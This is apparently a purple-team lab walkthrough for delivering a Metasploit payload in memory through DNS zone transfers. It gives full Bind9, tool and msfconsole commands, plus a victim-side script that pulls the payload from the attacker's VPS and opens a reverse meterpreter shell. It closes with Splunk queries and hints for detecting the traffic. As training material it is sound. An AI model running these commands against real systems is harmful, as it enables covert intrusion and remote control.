DNS/AXFR Payload Delivery

How about using AXFR (DNS Zone Transfer) for delivering and running an MSF payload just in memory?

It is possible for malware to use DNS AXFR (zone transfer) as a method for payload delivery, but it is not a common technique. DNS zone transfers allow a DNS server to transfer a complete copy of a zone to another DNS server, which can be useful for redundancy and load balancing purposes. However, if the zone contains specially crafted DNS records that contain executable code, an attacker could potentially use a DNS server to distribute malware to a targeted system.

In practice, there are several challenges to using DNS AXFR for malware delivery. Firstly, the attacker needs to control a DNS server that is authoritative for the domain being targeted. Secondly, the attacker needs to be able to insert malicious DNS records into the zone file. Thirdly, the payload delivered through the DNS AXFR transfer needs to be encoded in a manner that will not be detected or blocked by security controls, such as firewalls or intrusion detection systems.

Because of these challenges, most malware authors prefer to use other methods for payload delivery, such as email attachments, malicious URLs, or exploit kits. These techniques are often more reliable and easier to execute than DNS AXFR-based attacks. However, it is still important to monitor DNS traffic for signs of malicious activity, as some malware may use DNS for command and control or other communication purposes.

Specification

• Lateral Movement

• OSquery

• ElastAlert

• Powershell

The exercise flow

1. Get access to your VPS_X, install Bind9 project, and configure it accordingly to your values:

# apt-get install bind9
# vim /etc/bind/named.conf.options
options {
        directory "/var/cache/bind";
        recursion no;
        allow-transfer { $PUBLIC_IP_ADDRESS_OF_PURPLELABS_NETWORK;}; # take a look at the next point #
        dnssec-validation auto;
        // listen-on-v6 { any; };
};

# vim /etc/bind/named.conf.local
zone "exfil$X.emerge.pl" {
    type master;
    file "/etc/bind/zones/exfil$X.emerge.pl.conf";
};

# mkdir /etc/bind/zones

2. To find outgoing IP addresses of your machine/network you can always run the following commands:

# curl ifconfig.me
# curl ipinfo.io/ip
# curl api.ipify.org
# curl checkip.dyndns.org

3. Grab msf-payload-in-axfr project from Github, generate DNS zone with malicious MSF content and start named daemon:

# git clone https://github.com/cr0nx/msf-payload-in-axfr
# cd msf-payload-in-axfr
# pip3 install -r requirements.txt
# ./src/zone-gen.py -d exfil$X.emerge.pl -a $YOUR_VPS_IP -s exfil$X.emerge.pl -n exfil$X.emerge.pl -o ./out.conf -l $YOUR_VPS_IP -p 4445
# cp out.conf /etc/bind/zones/exfil$X.emerge.pl.conf

# /etc/init.d/named start

4a. In case of port binding error, turn off systemd-resolved process:

# systemctl stop systemd-resolved
# systemctl disable systemd-resolved

4b. In case of '/usr/bin/env: ‘python3.6’: No such file or directory' edit the first line of zone-gen.py:

# head -n1 src/zone-gen.py
#!/usr/bin/env python3

5. Switch to your KALI_X and check out if your DNS zone transfer works:

# dig axfr @ns-exfil$X.emerge.pl exfil$X.emerge.pl

; <<>> DiG 9.11.16-2-Debian <<>> axfr @ns-exfil11.emerge.pl exfil11.emerge.pl
; (1 server found)
;; global options: +cmd
exfil11.emerge.pl.  604800  IN  SOA exfil11.emerge.pl. admin.exfil11.emerge.pl. 2 60 60 60 4800
exfil11.emerge.pl.  604800  IN  NS  exfil11.emerge.pl.
exfil11.emerge.pl.  604800  IN  A   185.219.132.157
exfil11.emerge.pl.  604800  IN  AAAA    ::1
27.14e4c584974536a6c594c54677a593268494d6c6378566c56544e47566f5932.exfil11.emerge.pl. 604800 IN A 127.0.0.1
25.2596a68564e5870586245356b627a4e3064325a61643170595455316a56554a.exfil11.emerge.pl. 604800 IN A 127.0.0.1
14.3239775a57356c6369677161484d70436d38755957526b614756685a4756796.exfil11.emerge.pl. 604800 IN A 127.0.0.1
9.34c6c4253543152505130394d58314e54544859794d796b4b43584e6a4c6d4e.exfil11.emerge.pl. 604800 IN A 127.0.0.1
12.354643676c6f637935686348426c626d516f645777755346525555464e49595.exfil11.emerge.pl. 604800 IN A 127.0.0.1
...

6. In case of Transfer failed error, restart named daemon @ VPS_X and try to send AXFR query once again:

# /etc/init.d/named restart

7. Assuming you are ready, let's configure the Metasploit listener at your VPS side:

# msfconsole
> use exploit/multi/handler 
> msf5 exploit(multi/handler) > set lport 4445
lport => 4445
> msf5 exploit(multi/handler) > set lhost $YOUR_VPS_IP
lhost => 185.219.132.157
> msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_https 
payload => python/meterpreter/reverse_https
> msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://185.219.132.157:4445

8. Get back to KALI_X and run the client/victim part of msf-payload-in-axfr project:

# git clone https://github.com/cr0nx/msf-payload-in-axfr
# cd msf-payload-in-axfr
# pip3 install -r requirements.txt
# src/axfr-get-payload.py -o linux -d exfil$X.emerge.pl -s $YOUR_VPS_IP

9. You should get a fresh metepreter connection back at the VPS side:

meterpreter > sysinfo 
Computer        : kali11
OS              : Linux 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17)
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux

10. Run below Splunk queries and analyze carefully the results:

index="zeek" | search qtype_name=AXFR id.orig_h=$KALI_X_IP | chart count by query

Comments:

• AXFR is easily detectable from IDS / IPS rules -> still it's a perfect way to validate if it really works or not :> !

• AXFR should be visible from your DNS passive records, ex. dns.log @ BRO IDS -> watch for it!

• 63 bytes long, random 0.6157317762334a3049484e35637770326154317a65584d75646d567963326c7 subdomains in DNS response -> ^^ suspicious?

• 127.0.0.1 as A record - again can you catch it?

• In terms of generated DNS traffic -> small request -> big response, ex: 2713 bytes -> anomaly?

• External, not-from-corpo-whitelisted, potentially malicious DNS server in use

Links:

• https://github.com/cr0nx/msf-payload-in-axfr